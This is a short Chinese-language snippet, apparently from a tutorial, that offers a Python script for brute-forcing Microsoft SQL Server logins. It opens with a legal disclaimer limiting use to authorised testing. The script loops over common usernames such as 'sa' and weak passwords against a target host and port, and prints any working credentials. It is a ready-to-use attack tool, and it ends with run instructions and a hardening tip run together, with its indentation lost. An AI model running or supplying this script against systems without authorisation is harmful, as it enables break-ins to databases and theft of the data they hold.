⚠️ 法律聲明:本腳本僅供授權滲透測試、安全教學或自身資產檢測使用。未經授權對他人系統進行密碼嘗試屬違法行為,請遵守當地法律法規。
pip install pymssql
import pymssql
# 常見弱密碼字典(實務建議載入外部字典檔)
common_weak_password = ('', '123456', 'test', 'root', 'admin', 'user')
# 常見帳號字典
mssql_username = ('sa', 'test', 'admin', 'mssql')
success = False
host = "127.0.0.1" # 目標資料庫 IP
port = 1433 # MSSQL 預設埠(注意:原文 1443 為筆誤)
for username in mssql_username:
for password in common_weak_password:
try:
conn = pymssql.connect(server=host, port=port, user=username, password=password)
success = True
if success:
print(f"[SUCCESS] Username: {username} | Password: {password}")
break # 找到即跳出內層迴圈
except Exception as e:
# 可選:記錄錯誤細節 pass
continue
if success:
break # 找到即跳出外層迴圈
MssqlDatabaseBlasting.pyhost、port、字典內容python MssqlDatabaseBlasting.pysa 帳號,強制使用強複雜度密碼。